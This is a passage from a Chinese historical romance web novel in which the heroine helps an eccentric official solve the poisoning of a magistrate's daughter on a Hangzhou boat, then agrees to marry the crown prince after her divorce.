倒是可以小小教训一番。李琪瑛眼珠子微转,对陈危吩咐几句,让他借撑杆的力扰乱那艘船的方向,最好再让船猛得摇一摇,吓死他们。 陈危内心很赞同,仍看向清蕴,见她一副笑盈盈的样子,就知道她同意了,于是毫不犹豫地出手。 陈危也促狭得很,待清蕴和李琪瑛进舱后,先驶船靠近,在那几人好奇高兴之际猛得撑篙,凭借手臂的力量和水流直接让那艘小船打了转,瞬间引起一片惊叫。 李琪瑛拍窗大笑,“不愧是陈危,也只有他才能办到了。” 清蕴笑着点头,“他确实厉害。” 观察她神色,李琪瑛忽然凑近,低声道:“若是我,也会喜欢陈危这样的,像娘亲以前养的猎犬,高大威猛,关键是乖巧听话。” 清蕴讶然看过去,李琪瑛则满不在意地挑眉,“难道我猜得不对么,你不是和王家那位吵架了,所以出来散心?” 她不觉得自己观察有误,按清蕴如今的身份,权财都不缺,唯一能让其不顺心的,也就剩夫妻之间那些事了吧?李琪瑛自认看得很通透。 清蕴点头。 李琪瑛饶有兴致地问:“为何而吵?王三变心,还是你变心了?” 清蕴奇怪,“为何一定是有人变心?” “除了这,你们还能有什么不和?”李琪瑛沉思,“不对,还有子嗣,是王家人着急子嗣,他跟着一起说道你了?” “不是。” 被否认了这个答案,李琪瑛定定看她,而后肯定道:“那就是你变心了。” 清蕴:“……嗯?” “你自己都不知道吗?”李琪瑛啧啧称奇,“你和王三在一起,与和我大哥在一起,状态根本不同。与其说他是你夫君,不如更像是你兄长吧。” 清蕴别开眼,端起茶喝了口。 “相较起来,他倒是满心满眼都是你,所以,变心的应当不是他。” 听李琪瑛言之凿凿地道出结论,清蕴不禁想,在熟悉她的人眼中,她和三哥到底是怎样的一对夫妻。 扪心自问,从嫁给三哥那天起,她一直在当好妻子这个角色,从无敷衍。 李琪瑛洋洋得意,“别纳闷了,旁人不一定能看出来,只有我可以。当初在宫里,我正是发现姐姐对杨……” 说到一半,她忽然顿住,跟着喝口水,“总之,你若是不想再继续和他做夫妻,我一点也不意外。” 清蕴:“但我本就是二嫁。” “那又如何?”李琪瑛语气很是理所当然,“不喜欢就和离,不是很正常么?之前在京中,你没看过那些嫁了两次、三次甚至更多的妇人?旁人顶多随口议论两句,还能有什么?” 确实没什么,清蕴故意说这话,只是想听李琪瑛的看法而已。她的想法,应该也会是大部分京中高门所想。 “依我看来。”李琪瑛接道,“你那表哥确实太正经了些,像那些古板文人,想必行事都得有章法,未免沉闷了些。且他如今身居高位,要守的规矩就更多。若是和离,我倒觉得你不必急着再嫁人,像娘那样不就挺好。看看陈危,和他玩一阵也不错。” 清蕴:“……你这样的声调,他听得到。” 李琪瑛一惊,低咳几声不说话了。大抒己见是一回事,被人听到又是一回事了,她脸皮还没厚到那个地步。 过了会儿,把船撑到人迹稀少处的陈危出声,“夫人,李姑娘。” 他唤两人到船头来,出去一看,发现是艘颇为精美的小船被湖面杂草挡住去路,正随着水流缓缓左右摇晃。 看样式并非旧船,陈危对两人点点头,趁两船离得近,轻轻一跃,抵达对面船只。 很快他就折返回来,低声道:“出了人命,得报官府。” ** 船内只有一人,是个年岁不大的少女,身体僵硬地躺在船内,看样子咽气还没多久。 随着官府派船来搜查,三人自然被留下来问话。大长公主算是隐居此处,无人知晓她和李琪瑛杨翊的身份,清蕴和陈危也没有特意表明身份,对所见所闻都如实回答。 他们算是意外发现死者的路人,因暂时不知少女身份,官府做过记录,就让几人离开了。 本以为此事与他们无关,会到此结束。但就在两天后,杨家大门被敲开,官府的人来访。 大约是见他们穿着气度不凡,衙役举止还算有礼,言语堪称委婉,不过话里话外的意思就是,怀疑他们和这桩凶案有关,要带他们回衙门查案。 陈危起身,“我随你们去。” 衙役:“当时在场的另一位公子和姑娘都要去。” 彼此对视一眼,清蕴两人都没拒绝,她们还挺想知道是怎么回事。 让门房告知大长公主,三人跟着走这一趟。 清蕴擅长交际,大方随和,凭借男子的身份,路途很快和衙役熟起来。从他们口中,她得知原来那日船上死者是钱塘县新上任知县的小女儿沈明云,小船为她所租,而船本是系在岸边,她也仅在上面小歇片刻而已,结果莫名死在船上,船还漂到了远处。 此案疑点重重,涉及到一位知县之女,审案的人当然要把所有相关人员都传来。 主审官一见前后而来的三人,有瞬间惊艳,心道这对兄妹当真相貌非凡,尤其是兄长,怪不得见过的人都记忆深刻。 他没打官腔,直觉对这几人也没用,开口道:“有人指认你们为此案凶手。” 陈危沉声,“谁?” 主审官荀垣眼神瞟向另一侧,陈危一看,立刻认出是那天在湖上被他们捉弄的几个浪荡子。 荀垣显然也不怎么信那几人的话,所以对他们还客气,“劳烦几位再把当日经过说一遍,此为急案,在下赶时间,就暂时把三位分开询问,可行?” 清蕴立刻想到王宗赫提起审案时,常用这种方法。若有合伙作案的可能,就把有嫌疑之人分开审问,一是寻找他们交代的事实是否有漏洞,二则是令他们心中不安,在无形的压力下更可能吐露真相。 这位主审官看起来很擅长审案,清蕴一笑,“好。” 荀垣意外,寻常百姓就算没做恶事,被官府用这样的架势对待,多少都会露怯。这三人,一个谈笑自如、一个沉稳无波,一个面露不耐,都不是常人的反应。 他亲自审清蕴,不在公堂,也非牢狱,仅仅是衙门中单独隔出的小房间。桌上甚至摆了壶热茶,有种友人谈心的平和感。 仔细回忆一番,清蕴把所有记得的细节都讲课遍,看着面前人陷入沉思,忍不住问,“大人能否告诉在下,沈姑娘的死因是何?” 荀垣回神,“仵作最初检验,是死于自缢。” “……自缢?”清蕴神色古怪,“在船上自缢?” “只要有工具,在船上自缢未必不能做到。” 看他毫无波澜的神情,清蕴继续问:“最初检验为自缢,第二次呢?” 她道:“如果我没记错,当时沈姑娘的船上还燃过安神香。一个准备自缢的人,怎么会为自己点安神香?” 荀垣微怔,盯住她,“陆公子很懂香?” “略知一二。” 荀垣精神大振,原本漫不经心的坐姿变得笔直,“那你可知道,安神香能杀人吗?” 清蕴:“单独的安神香自然不能,顶多让人睡得沉些。” 荀垣点头,“我也这么想,但在船上实在找不到其他证据,只有香和自缢的绳索。最开始看起来是自缢而亡,但后来仵作断定是中毒身亡,只不知是如何中的毒,谋害她的人到底用的什么方法。” 说起案子详情,荀垣眼神发光。似乎是觉得有可能从清蕴这儿得到真相,几乎恨不得和她仔细讨论每个细节。 前后大变的形象让清蕴讶异,暗暗打量的眼神被荀垣察觉,他毫不在意一笑,直截了当地问:“陆公子,请问你家世如何?家中可有人入仕?” 清蕴中规中矩地回答,“尚可。” 听在荀垣耳中,就是没那么好惹的意思,他喔了声,道:“实不相瞒,这个案子的真凶应该是不能找到了,但我实在好奇那作案的手法,才会多问这几嘴。” “不能找到?”这个说法很有些意思。 荀垣点点头,无所谓道:“估摸犯案之人背后有些靠山吧,就在昨日,已经有人告诉我们此案要么以沈明云自缢结案,要么赶紧‘找’个凶手出来。陆公子若家世不凡,自然不会成为这个倒霉鬼。” 清蕴:“……”她还是第一次见有人如此坦白官场阴私,而且是和他自身前途相关。 说他和那些人沆瀣一气吧,他能坦诚交代事实。说他正直勇武吧,他又根本不在乎真凶是谁,好奇的只是作案手法。 被牵扯进来,清蕴既好奇手法,也想知道真相,对荀垣此人性格的奇异之处就没什么探究的兴趣了,想了想道:“大人不如带我回船上看看,也许能有发现。” 荀垣拊掌,“甚好,我这就——” 他的话被叩门声打断,下属似乎颇为急切,荀垣只能起身出去。 不知他们碰到何事,清蕴只听见很低又快速的声音。不多时,荀垣回来,再看她的眼神已经大变样,“你是女子?” 清蕴:“……我以为大人已经看出来了。” 不然怎么会连和她靠近一点都要躲避。 荀垣:“……”他只是不喜欢和人碰触,无论男女,所以始终隔着一段距离。 他瞥几眼清蕴,又飞快收回眼神,“那些话倒是我献丑了,你夫君为你做主来了,再不放你,恐怕我这衙门都要被拆。” “……我夫君?”清蕴先是不可置信,三哥难道跟来了?不对,她并没有说明去向,三哥就这么肯定,她会来找大长公主么,而且,他怎么这么快得知她在这儿? 带着满腹疑问,清蕴随荀垣往外走。 坐在人家衙门主位,面无表情看着知府陪笑的,不是李审言又是谁? 第113章 你是幼稚鬼吗? 踏进客厅的刹那, 荀垣就看清了主位上的人。 着玄色长袍,身形挺拔,四肢修长有力,腰佩长刀, 似乎是习武之人。面上覆有半块面具, 遮住左侧脸颊, 看起来极为神秘。 知府在旁连连陪笑, 堪称乖顺。 青年站起身,看向自己身边的“陆公子”, 声音沉而有力,“可有事?” 清蕴略作停顿,没有拆穿他,“没事,这位大人只是例行问话。” 知府忙道:“正是, 下官也是为查明真相而传人, 绝不敢随意冒犯。” 他突然现身,应该是这案子有什么特别之处。好在杭州这一带的官几乎都换了个遍,当初同时见过她和三哥的人应该寥寥无几。 李审言颔首, 看向知府,“另外两人呢?” “马上就到,马上就到。”知府疯狂给荀垣使眼色,叫人一看就明白, 此人背景雄厚无比, 能把堂堂杭州府知府压得死死的。 荀垣暗自撇嘴, 在官场上没有倚靠就是如此, 稍微有个风吹草动就得胆战心惊。知府好歹有个岳丈撑着,他连知府都不如, 更是只能服从。 好在荀垣不管这些,他只对审案感兴趣,尤其是那些奇案怪案,只要查出了真相,管它们事后会如何结束,他都不在乎。 知府了解他这怪性子,才敢把案子都丢给他,也不避讳谈及官场阴暗。 清蕴走向李审言,等他们俩真正站在一时,荀垣终于意识到自己眼拙,这人分明是个眉眼极其明显的女子,刚才怎么会没分辨出来? 他皱着眉,百思不得其解。 李审言视线掠过兀自沉思的荀垣和战战兢兢的知府,没有继续开口。 他此行借用了孟嘉名号,已足够唬人。之所以如此急匆匆现身,是因为听说此案涉及水师总兵之子,知府急着找替罪羊结案,怕他们吃了暗亏。 再者,关于这位刚调来的水师总兵韩猛,他略听过些名声,作风蛮横,胆子极大,且极为护短。如果案子真涉及到他的独子,光凭陆清蕴他们,韩猛不一定会买账。 至于夫人一说,并非他主动提出,只是知府如此猜测,他没有否认罢了。 趁陈危和李琪瑛还没来,清蕴示意李审言走到一旁,第一句话并非问他为何现身此地,而是道:“脸上的斑痕还没好?” 李审言微怔,“好了许多,仅剩一些较浅的痕迹。” 说完立刻补充,“不会影响相貌。” 清蕴嗯了声,“取下面具,给我看看。” 李审言乖乖取下面具,如他所言,眉头、额角和下颌都还有极浅的黑斑。确实不影响外貌,即使不褪,放在李审言脸上,也仅仅是让他添了丝凶悍,尤其是那双丹凤眼略扫过人,便有种不怒自威的气势。 此刻,那些凶悍在清蕴面前收敛得彻底,听她继续问:“你从一开始就跟过来了?” “……嗯。” 即是说,李审言看到了她和陈危在崖底收敛尸骨,且很可能根据白兰之事,推断出她并非真正的陆清蕴。 不知怎的,清蕴竟没什么紧张不安感。这是她最不想被第三人知道的事,连亲姨母都可以一直瞒着。如今可能被李审言发觉,却很平静。 这时候不是讨论的好时机,清蕴低声问了最后一个问题,“此案有什么特别?” 李审言飞快答:“和水师总兵韩猛的儿子有些关系。” 韩猛。清蕴听说过这人,因当朝水军很少,擅长带领水军在湖面、海面作战的将才更少。在镇安帝夺位途中,韩猛立过不小的功劳,因其特殊性,很受器重。 脑海中立刻闪过几种猜测,清蕴点头,默不作声地走回去。 陈危和李琪瑛都被客客气气送来了,得见李审言,陈危目露了然,李琪瑛纳闷一阵,随即大惊,质问即将脱口而出时被清蕴截住,“陈危,你先送姑娘回家,我们在这还有些事,晚些再归,帮我和母亲说一声。” 左右瞧了瞧,确定这儿没人能对他们造成威胁,陈危颔首,把不情愿的李琪瑛暗暗强行带走。 等他们离开了,清蕴问起荀垣姓名,得到回答后饶有兴致道:“我对此案也颇有兴趣,方才大人说要带我去船上查看,不知是否还做数?” 知府疯狂使眼色,荀垣当看不到,只暗暗观察看起来地位不凡的李审言,确定这对夫妻中由其夫人做主,当即精神大振,“当然可以!” 知府案子翻白眼,这小子,总能精准分辨出谁地位更高、权力更大,能不能给自己撑腰。一旦确定无需顾忌,就能盯着案子不放。 内心不禁担忧,他也不知此案真相如何,只知和水师总兵的独子有关。真闹起来,不好办呐。 在场无人在意他的想法,见清蕴感兴趣,李审言毫无异议,权把自己当做长随,紧跟在她身侧。 关于断案审讯,其实是每个走正经科举路子入仕官员的必修技。荀垣当初科举名次不算靠前,分了个偏远地区当县丞,后来因断案能力被赏识,才从山沟沟调到杭州这富庶之地,成为知府的得力助手。 李审言没参加过科举,如今对官场上的事虽然也了解了大半,但查案肯定不在其中。 紧跟两人身后,李审言听着他们讨论什么毒芹汁、安神香、安神丸、刀穗,还蛮有兴趣。 在船上仔仔细细又看了遍,两人似乎又有新发现。 蹲在船头,荀垣盯着清蕴拈出的一小撮泥土,大为惊异,“这土中有荼蘼花粉,你也闻得出来?” 清蕴肯定颔首,“制香偶尔会用到这些花,所以我敢断定。” 荀垣念念有词,“如今这一带只有孤山那边有荼蘼花,可按我们查案所知,沈明云近日根本没去过孤山。表面来看,她是自缢而亡,实则为中毒窒息,这毒来自安神香中暗藏的毒芹根。不过凶手既选择了投毒,为何又要多此一举伪装她是自缢呢?死因只要一查就知,根本隐藏不了。” 是啊,根本隐藏不了的事,这么做不是画蛇添足吗? 但也有可能,这么做的人,根本不知道沈明云是中毒身亡。清蕴把想法说出来时,荀垣灵光一闪,随即高兴地险些蹦起来,猛地拍了下清蕴的肩,“确实,下毒之人和帮她自缢之人有可能不是同一个,那土就是关键!” “去查和沈明云相识之人近日有谁去过孤山——”他往船下一跃,大步流星地走了,看得清蕴微愣。 见识过戏痴、剑痴之流,还是第一次见案痴。 河边下起蒙蒙细雨,李审言撑伞走到清蕴身边,“回去继续跟?” “不用,他应该很快就能查出真相,到时候问他就行。”清蕴撩起眼皮看他一眼,一同在河边慢慢走。 河面泛起的水汽犹如大雾,随风往二人身前扑来。这种时候,油纸伞的作用微乎其微,至多让两人湿得不会太快。 灰蒙蒙的天,远离喧嚣的河边,天地间仿佛仅剩自我的孤寂。清蕴内心其实颇为喜欢这种景色,这带给她的宁静感远胜其他。 “小时候我很喜欢找一处人迹罕至的河水、山溪,在旁边看书、练字,都能够凝神静气、事半功倍。”轻柔的声音响起,似在回忆往事。 李审言下意识顺着这话想象,脑海中幼年的陆清蕴坐在溪水边朗朗读书,不由扬唇,“巧了,我小时候也喜欢往河溪里摸。” 但他纯粹是皮和贪玩,反正也无需读书做功课,在府里不能随意行走,到府外随便怎么玩都行。 寻常纨绔子弟很容易喜欢些招鸡斗狗的玩意,再不然带着下人到处作威作福,李审言天生对那些不感兴趣。没有任何人带领,他就能凭自己的附近的山林玩个遍,第一次凭自己捉到野兔时,他才六岁,从此对奔跑、攀登、搏斗这些事兴起了莫大的热情。 可以说,最初使的那些武功招数,有大半都是他自己摸索出来的。 “但后来,我又不是很喜欢河了。”清蕴缓缓道,“因为那些倭寇正是顺江河而来,使我的父母丧命于此。” 李审言停步,心跳微微加快,面上却装作不经意道:“倭寇而已,等过几年多训些水军,我直接率兵把他们老巢给掀了,提着人头去给二老祭拜。” 说完他低眸,对上清蕴的眼。那乌黑的瞳仁正专注地盯着他,有种类似探寻和审视的好奇。鸦羽似的眼睫覆了层厚厚的水汽,偶尔一滴水珠坠落,似在哭,但她的神色又和落泪毫无关系。 “你确定听懂了我在说什么?” 李审言:“听懂如何,没听懂又如何?” “我不是陆清蕴。” 李审言:“你想改名?虽然我习惯了陆清蕴这名字,但要改个更顺口些的,也不是不行。” 两相对视,片刻后,清蕴忽然弯眸笑起来。 笑容很轻,却重重砸在李审言心尖,让他有种昏昏沉沉,回到病重时刻的感觉。很想俯身去把那笑含住,感受是不是当真那么清甜。 脑袋发昏的李审言继续道:“你是陆清蕴也好,周清蕴也罢,反正人都一样。照我来看,李姓也不错,李清蕴这个名字还算可以。” 虽然顺着这个姓,他不免会想到李秉真,但瞬间又释然。人都没了,有什么好在意。 清蕴确定,李审言当真知道那些事,说不定在处置了白兰后还暗地查过,这么多年却一点没表露,其实是疑惑的,“你不担心,我是和陈危合谋,谋害了原本的陆清蕴再取而代之?” “那和我有什么关系?”李审言嗤一声,“我不认得她,和陆家人也没有沾亲带故,总没必要帮他们报仇。” 他自认也不是什么好人,不忠不孝不仁不义这些词几乎都能和他沾上关系。最重要的是,他最初对她感兴趣,就是因为感受到了她表象下流淌的血液,和他颇为相似。 聪明狡诈,野心勃勃又擅长伪装。 谁说他们不是天生一对? 即便清蕴很清晰地认识到,他的想法不符合世俗观念,会被人唾弃谴责,可谁不喜欢被人偏爱、无论如何都会站在她这边的感觉? 她再度想起李审言染上疫病时对自己说的那番话,出声道:“在我离开前,三哥其实和我谈过。” 话题陡然转换,李审言迅速跟了上来,竖起耳朵,“谈什么?” “他说,会答应和离之事。” 清蕴独自离开,不是因为想逃避问题,而是纯粹散心,并思考王宗赫对她说的那些话。 他曾很郑重地问她,提出和离是不是因为李审言救了他,在得到否定后沉默许久说:“如果这确实是你所愿,我可以答应。” 接着说,“我一直都清楚,你对我……并无多少男女之情,但夫妻之间走到最后,其实更多是相依相偎、相互扶持,在这方面,我们其实远胜其他夫妻。” “即便你我和离,我也不认为太子会是良配。以他的身份地位,和他在一起,你将面对的满京风雨,和当初杨煦逼迫岂不相似?” “猗猗,凭你的能力地位,如今你已经无需再嫁他人才能安稳。” 清蕴不否认这点,这些道理她想过,王宗赫也帮她想到了,甚至,不知情的李琪瑛某种程度也是这么想。 可想法总是瞬息万变的,她偶尔也会想冒险一次。 李审言惊讶,“他真这么痛快?” “嗯。”不待李审言继续,清蕴忽然又转话题,“京中不是应该很忙么?” 李审言有些跟不上了,只下意识回答她的话,“都是些可忙可不忙的事。” 他是太子,除去镇安帝,确实没人能压着他做事,清蕴笑了笑,“你觉得这个荀垣怎么样?” 才见一面,李审言没法了解更深,随口道:“有些查案的本事。” 清蕴慢慢走着,道:“像他这样的人进了官场,是否能为民为国做实事,全看能够掣肘、管束他的人是哪种心性。” 李审言回想了下荀垣和知府的交流,挑眉,“他性子确实有几分怪。” “你觉得他可用吗?” 李审言面露古怪,“你希望我用他?” “只是在问你。” 李审言对着她黑漆漆的发顶盯了会儿,思索她问话的用意,最后道:“这种人用起来有利有弊,倘若他背后有足够强大的靠山,也许将会是官场上的一把利刃。” 这个答案,足以说明许多事他并非不懂,只是懒得去想。 清蕴眨眨眼,却没回了,问他:“在杭州待了这阵子,觉得这里的景色如何?” 李审言:“……还行吧。” 主要是都在跟着她,没什么赏景的兴趣。除此之外,就是在琢磨她此行离开的心思。 接下来,清蕴围绕一些完全不相干的事扯东扯西,绕得李审言脑袋都发昏,有种她是在捉弄自己的感觉。但即便是捉弄,他也认了,谁叫他就喜欢她眼里只有他的模样。 沿河岸走了一路,两人陆陆续续聊了两刻钟的功夫,眼见市井喧嚣近在眼前,李审言自知进不了杨家大门,分离就在眼前。 清蕴又说了句什么,李审言压根没细听就嗯了声,让她顿住脚步。 “怎么?”李审言低首。 “既然如此。”那双清凌凌的眼看着他,“就等我与三哥正式和离。” 李审言结结实实懵住了,等她和王宗赫和离之后呢?她刚刚说了什么?确定是他想的那个意思吗? 忍住内心狂喜,李审言立刻问出口,“等你们和离,你就愿意嫁我?” 清蕴却不回了,继续往前走,“太子年轻力壮,想来没有眼花耳背的毛病,应该不用重复。” 她还在慢悠悠的,李审言已经丢了伞冲上来,掐住她的腰把人抱起来,像抱小孩儿似的,“我不管,方才没听清,必须再说一遍。” 猝不及防被雨水扑了一脸,清蕴别过头,表示拒绝。 李审言威胁,“你不说,我就用这样的姿势把你带回杨家。” 清蕴:“……你是幼稚鬼吗?” 李审言:“你说是就是。” 面对前一刻稳重下一刻就耍无赖的人,清蕴也没什么应对的方法,瞪人半晌见他都没动静,只得道:“先把我放下来。” 他的手臂宛如铁水灌注,可以毫不费力地举人,她先被掐得腰疼。 李审言把她放下来,手没离开,大有她不说清就继续的架势。 眨去眼睫上的雨水,清蕴不得不重复道:“一年。” “一年?” “我和三哥和离一年后,若是你当真还想娶我,只要说服了陛下和太后,我别无二话。” 这是清蕴给他的时间,也是给三哥的答复。 第114章 耳熟的故事 朝会在卯时开始, 镇安帝照常准点来到太和殿和大臣们议事。 登基以来他一直很勤勉,三天一次的早朝不曾停过,内阁呈上来的折子都会仔细批阅,大臣们求见也少有被拒绝。 主要是他如今除了处理政事, 也没什么事可干。后宫空荡荡, 除去太后没别的人, 除去太子也没其他子女, 更别提孙辈。对尚算年富力强的镇安帝来说,只能把浑身精力扑在国事上。 下朝后他准备先去练会儿射箭, 徐安笑着道:“陛下,太子来信了。” “他还记得写信!”镇安帝肃起脸,步子一点不慢。 这是李审言病愈后给皇宫寄的第一封信,从他留信私自带清蕴去凤阳后,关于他的所有消息, 镇安帝都只能从其他官员的汇报中得知。这是他如今仅剩的在身边的孩子, 怎么可能不挂念。 得知李审言染病时,镇安帝恨不得立刻飞奔去虹县,可以他现在的位置没有任性的资格。自我克制的同时, 还得瞒住太后,告诉她李审言是出门办差了。 拆开信之前,镇安帝没想过能从里面看到什么有用的内容,能问一句安就算不错了。 直到他看到第三行, 忍不住眨了下眼, “徐安, 朕好像眼花了。” 徐安一怔, 见镇安帝拿信走到门外,在天光下看了又看, 忍不住问:“陛下,太子怎么了?” 他忧心忡忡,“是身体还没好全吗?” 岂止没好全,简直太好了。镇安帝想,这小子到底是吹牛,还是来真的?清蕴真会和克衡和离,嫁给他? 李审言是镇安帝的儿子,可即使他作为父亲,也没办法昧着良心说儿子比克衡更出色。真比较起来,二人文武各有所长,性格上应该是克衡更占优势,沉稳持重、温和守礼,哪个姑娘不喜欢? 因此,镇安帝第一反应是,小兔崽子使了什么不入流的招数。 下一刻,他又想起王宗赫归京后的状态,陷入沉思。 一年……和离后一年,这确实像清蕴会提出的要求,既是为了全克衡的颜面,也可以避免过多的流言蜚语。 所以,清蕴到底为何会答应? ** 关于清蕴答应的理由,李审言没有琢磨太多,于他而言,这个结果远比过程重要。 一年而已,不管原因是什么,他都等得起。 这厢,他还在陪清蕴等荀垣查案,看看此人是不是真有表现出来的那些本事。 不到三天的时间,荀垣带着青黑的眼眶回到官署,“下官已经查明所有案情。” 他看一眼李审言和清蕴,再看知府。 知府暗暗别过眼,想说就说吧,反正他也阻止不了这两位探查真相。 荀垣开始讲述自己查出的案件发生全过程。 事情得从沈明云的未婚夫林霁说起。 林霁出身寻常,父亲是秀才,母亲为农女。他之所以能与知县之女结亲,是因为早些年沈家与他家是邻居,二人有青梅竹马之谊,再加上沈父欣赏林霁才华,就把女儿定给了他。 沈明云相貌姣好,性格温柔,和林霁感情稳定,只待十八当年成婚。 但就在去年,水师总兵韩猛驻进杭州,其独子偶然遇见沈明云,对其一见倾心,自此开始死缠烂打、穷追不舍。 韩猛生得魁梧,儿子韩骁倒继承了其夫人的好相貌,既有高大体格,又不失风流。 待字闺中的沈明云有一度被韩骁迷惑,在二人之间举棋不定,最终还是因婚约的存在和自幼长大的感情,下定决心和未婚夫林霁在一起。 她借游船之机外出,支走了贴身女使,再请来韩骁,和他说明心意。 韩骁气极,怒气勃勃离开前推了把沈明云,却不防让她刚巧撞到桌角昏迷过去。 巧合就在这儿。 沈明云因多日难眠,曾服用过大量安神丸,船内燃的安神香中又含有一种毒芹汁,两者相混合,本就容易使人中毒。她昏迷的这段时间吸入太多,使得脉搏一度消失。 在韩骁离开后,听说他们二人见面的林霁匆匆赶来,他担心未婚妻被欺负,结果一来就看见人倒在船中衣衫不整的模样。再一探气息,人已经没了,自然生出误会。 依照律令,林霁作为府学生员,若其未婚妻涉及风化案,需停科三年。林父又任钱塘县教谕,家中如果出了这等丑闻,影响可想而知。 即便他们豁出一切要讨个公道,面对水师总兵这等庞然大物,也没多少胜算。 所以林霁犹豫片刻,选择给她做出了自缢的假象,既保全未婚妻的颜面,也保住自己的前途。 殊不知那时沈明云并没死,只是昏迷后又陷入了中毒后的窒息,倘若及时找来大夫,大有生还的可能。 林霁做出沈明云自缢的假象,接着解开小船绳索,让其自由漂走。 紧接着,小船尚在岸边时,后悔的韩骁赶回来,看到的就是“自缢而亡”的沈明云。 他以为沈明云是被自己的话语所激,一时想不开而自尽,痛苦又自责,下意识先回了家,把事情原委告知父亲韩猛。 韩猛当然要为儿子做掩饰,这就是知府急着以沈明云自缢结案或者找替罪羊的原因。 到现在,沈家连沈明云的尸首都没能见着。纵使沈父身为知县,也没法帮自己女儿找到真相,受知府糊弄,他真以为女儿是在韩、林二人之间抉择不定,继而痛苦地了断自己。 听完全程,总觉得这故事极其耳熟的李审言:“……” 某种程度上,这三人不正像极了他、王宗赫和清蕴的关系? 但区别还是有的,他和陆清蕴远没有那两人那么傻,至于王宗赫会不会像林霁一样心狠,就说不定了。 荀垣了解过事实,那股兴奋劲也没了,呈上厚厚的一叠纸,下了结论,“沈姑娘所遇非人,二者皆是。” 清蕴安静许久,万没想到沈明云是这么死的。 说不上蓄意,称不了狠毒,让人上不上、下不下,最终竟只能道一句命运弄人吗? 她只觉得可笑。 那两人可以说是一起害了沈明云的性命,凭什么用“巧合”就能带过? “倘若按普通案子来办,林霁、韩骁二人会以无罪来论吗?” 荀垣摇头,“应以过失杀人罪定,过失杀伤人者,准斗杀伤罪,依律收赎,给付其家。” 除此之外,还应先判处一百杖刑,再罚其他。 李审言出声,“那就这样办。” 按其中恶劣程度来说,林霁明显要大于韩骁。但如果不是韩骁,事情也不会发展至此。 介于韩猛和镇安帝关系匪浅,李审言决定先按一般律法办,其他的,待他禀明了京城那边再说。 离开府衙,李审言暗中注意清蕴神色,走了一段路,她头也没抬地问:“一直看着我做什么?” 李审言:“你没注意我,怎么知道我在看什么?” 如果阿宽等熟悉的亲卫在这,就会回答,当然是因为他的眼神带着火星子,任何人被这样盯着都不会没反应。 第115章 和离书 李审言的凤眼应该遗传自母亲, 因为镇安帝和清蕴一样,生就一双典型的桃花眼,随便看人都有种似水柔情的错觉。不过镇安帝高大威猛,素有威严, 很少有人敢把这种错觉安在自己身上。 凤目不怒自威, 当李审言故意盯着人时, 就很容易给人压力。 清蕴抬首对着他, 刚想回什么,李审言忽然抬手把她带到一边, 街边传来阵阵路人惊声叫喊。 一匹马飞奔而去,李审言盯着马背上的人脸色阴沉,问似乎识得他的路人,“那是何人?” “是……韩大人府上的公子。” 两人很快想到了韩骁,这个造成沈明云悲剧的导火索。看他急匆匆的样子, 很可能知道了真相。 李审言面无表情, 声音只有清蕴能听见,“敢随意在闹市策马,路人都认得, 看来韩猛在杭州当真只手遮天。” 清蕴:“你想怎么做?” “怎么做。”李审言笑了下,“还轮不到我怎么做,但如果我有权处置,这种水师总兵, 不要也罢。” 他生平最厌恶仗势欺人者, 这个韩猛, 当初在他们父子面前表现得粗犷大气、爱护军民, 如今看来,不过也是个得志就忘形的人。 “按律法, 韩骁在沈明云一案中连过失杀人都算不上,韩总兵顶多算爱子心切,隐瞒部分真相。闹市纵马,应该也就是打些板子、再关几天的事,远不至于要撤韩总兵的职。”清蕴道,“陛下慧眼如炬,未必不知韩猛品行。” 李审言微怔地看去,“什么意思?” “没什么。”清蕴继续往前走,偶尔左右看两眼,似乎对街边这些店铺很感兴趣。 李审言不是没懂她话里的含义,而是因清蕴这些疑似开导的话所讶异。 她以前可从不会对他讲这些道理。 大跨两步跟上,李审言扬眉,“你在劝我?” 清蕴:“随口说说而已。” 李审言却已经笑起来,不复之前的阴鸷神情,“你担心我处事非黑即白,一刀定生死?” “不敢。” “别说,我还真有可能如此。”李审言毫不费力地跟着她的脚步,眼神不离,“看不顺眼的人,宰了最省事,哪需要顾虑那么多。” “不过。”李审言话音一转,“有人肯劝的话,就不一定了。” 清蕴没再回答,只是在李审言看不见时,眼底闪过一丝笑意。 ………… 沈明云案查清,有李审言和清蕴在看着,韩骁在其中犯的又不是要丢命的大罪,知府就对涉及此案的韩、林两人如实处置。前者只涉及杖刑和罚银,后者严重得多,除罚银、杖刑外,还剥夺了其五年科考资格。 查出真相,荀垣对后续处置就不怎么关心了。在他看来,李审言和清蕴是对地位高又颇有些善心的夫妻,与自己无关,因此,在收到李审言邀请,让他于此事后递折子去内阁时,有些吃惊。 李审言道:“以你的才能,不该屈居于此。到了京城,自有更多大案要案,定能符合你的要求。” 荀垣试探,“阁下保证能助我进京?” “进京当官不成问题,想去哪个衙门,也不成问题,但都得从底下小官做起。”李审言淡笑了下,“你想去的是大理寺吧?” “正是。” 如今大理寺卿依然是王维章——王宗赫的父亲,新朝建立后他不曾被免,父子同受重用。李审言不喜王宗赫,也不会否认其才干,对秉公无私、屡破奇案的王维章更不会有看法,于是道:“大理寺卿为人还算公允,我可以让你先进大理寺当个小吏,至于能不能升官,就看你自己的本事。” 听其口吻,对京中大小官员都有所了解,荀垣直觉他并非孟侍郎,脑海中迅速冒出几个人,又一一否定。 说实话,他认为最符合条件的是当今太子,可太子至今尚未娶妻是众所周知的事。观这位对夫人的态度,绝非假意,荀垣放弃了这个猜想,不再关心对方身份。 左不过写个折子去内阁的事,不成也没多大损失,荀垣痛快应下,并道:“阁下和令夫人来杭州游玩,可需要人陪同领路?” “不必了。”李审言瞥他,“不用讨好我,本来也不是那个性子。” 说完回到客栈,还需要在这待三天,他们就要回京了。陆清蕴让他这几天都不准再跟,因上次他不小心被杨翊给发现了踪迹,险些被那小子告诉了大长公主。 索性就剩这么几天,他干脆趁这个时间,处理些事情。 接下来的日子,清蕴就专心陪伴杨翊他们,待时间到了,同陈危一起回京,李审言紧随其后。 水路顺流,花费的时间和快马相差无几,清蕴提前写了信回王家,抵达码头时,不出意料地看见王宗赫。 “三哥。”她轻唤一声。 在虹县时,王宗赫因中毒而形销骨立,如今养回些许,恢复曾经风度。 一身斓衫,挺拔而立,清蕴几乎看到了当初刚刚高中状元的他。 王宗赫颔首,“在杭州游玩得怎样?” “景美人和,很不错。” 王宗赫:“听说你在杭州还破了桩案子?” “并非我破的。”清蕴和他走上马车,讲述起案子的前因后果,以及荀垣破案的全过程。 